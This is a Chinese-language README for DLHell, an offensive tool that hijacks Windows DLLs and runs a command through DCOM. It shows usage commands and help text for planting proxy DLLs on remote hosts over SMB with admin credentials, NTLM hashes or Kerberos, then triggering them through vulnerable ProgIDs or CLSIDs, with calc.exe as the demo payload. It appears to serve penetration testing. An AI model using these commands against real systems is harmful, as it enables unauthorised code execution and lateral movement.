DLHell 执行 DCOM 本地和远程 Windows DLL 代理。
需要以下软件包（可能因您的发行版而异，以下示例适用于 Debian 12）：
sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64
安装 pip 依赖：
pip3 install -r requirements.txt
以下命令使用 template.tpe 模板文件（C++ 源劫持库）劫持主机 10.137.0.48 上的 netutils.dll 库，该劫持库将启动 calc.exe。原始 DLL 和代理 DLL 都将放置在远程目标上 C$ 共享的 program files/windows nt/accessories/ 文件夹中。
请为 -remote-target 选项使用 Impacket 语法。
DLHell.py -t template.tpe -c 'calc.exe' -remote-lib 'windows/system32/netutils.dll' -remote-target 'program files/windows nt/accessories/test.dll' -target 'domain/user:password@ip'
也可以使用 Kerberos 身份验证：
DLHell.py -t template.tpe -c 'calc.exe' -k -target wks-02.vault-tech.com -progid WordPad.Document.1
列出可用的 CLSID 和 ProgID：
DLHell.py -list
____ _ _ _ _ _
| _ \| | | | | | ___| | |
| | | | | | |_| |/ _ \ | |
| |_| | |___| _ | __/ | |
|____/|_____|_| |_|\___|_|_|
DLHell v1.0
usage: DLHell.py [-h] [-local-lib LOCAL_LIB] [-remote-lib REMOTE_LIB] [-local-target LOCAL_TARGET]
[-remote-target REMOTE_TARGET] [-target TARGET] [-clsid CLSID] [-progid PROGID] -t T -c C
[-u U] [-l] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
[-target-ip ip address] [-port [destination port]]
DLL Hell - DLL Proxifier/Hijacker
options:
-h, --help show this help message and exit
-local-lib LOCAL_LIB Path of the remote library on the local system, ex: version.dll
-remote-lib REMOTE_LIB
Path of the library on the remote system, ex: windows/system32/version.dll. WARNING:
Will connect using SMB on C$ share. Admin rights needed. Requires -target
-local-target LOCAL_TARGET
The new name of the local output proxyfied library
-remote-target REMOTE_TARGET
The new name of the remote proxyfied library. WARNING: Will connect using SMB on C$
share. Admin rights needed. Requires -target
-target TARGET [[domain/]username[:password]@]<targetName or address>
-clsid CLSID CLSID of DCOM class to activate
-progid PROGID ProgID of DCOM class to activate
-t T, -template T Template file to use for lib generation
-c C, -command C Command to execute using hijacked lib
-u U, -user U Name of the user to hijack (used to put DLLs in localappdata folder)
-l, -list Lists vulnerable CLSID & ProgID for DCOM Hijacking
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on
target parameters. If valid credentials cannot be found, it will use the ones
specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN)
specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as
target. This is useful when target is the NetBIOS name and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
对于本地 DLL 制作，请使用 -local-lib（代理 DLL 的名称）和 -local-target（重命名后的原始 DLL）选项：
DLHell.py -t template.tpe -c 'calc.exe' -local-lib 'lib/netutils.dll' -local-target 'test.dll'
对于远程 DLL 劫持，请指定 -target、-remote-lib（远程主机上原始 DLL 的名称）和 -local-target（重命名后的原始 DLL）选项：
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -remote-lib 'windows/system32/PROPSYS.dll' -remote-target 'windows/test.dll'
可以使用 -progid 和 -clsid 选项利用 DCOM DLL 代理。可用的 CLSID 和 ProgID 列表可通过以下命令查看：
DLHell.py -list
您可以向 dcom.json 文件添加新的劫持，该文件定义了易受攻击库的路径：
然后，只需提供 ProgID 或 CLSID 即可：
ProgID WordPad.Document.1 示例：
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -progid WordPad.Document.1
CLSID 73FDDC80-AEA9-101A-98A7-00AA00374959 示例：
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -clsid 73FDDC80-AEA9-101A-98A7-00AA00374959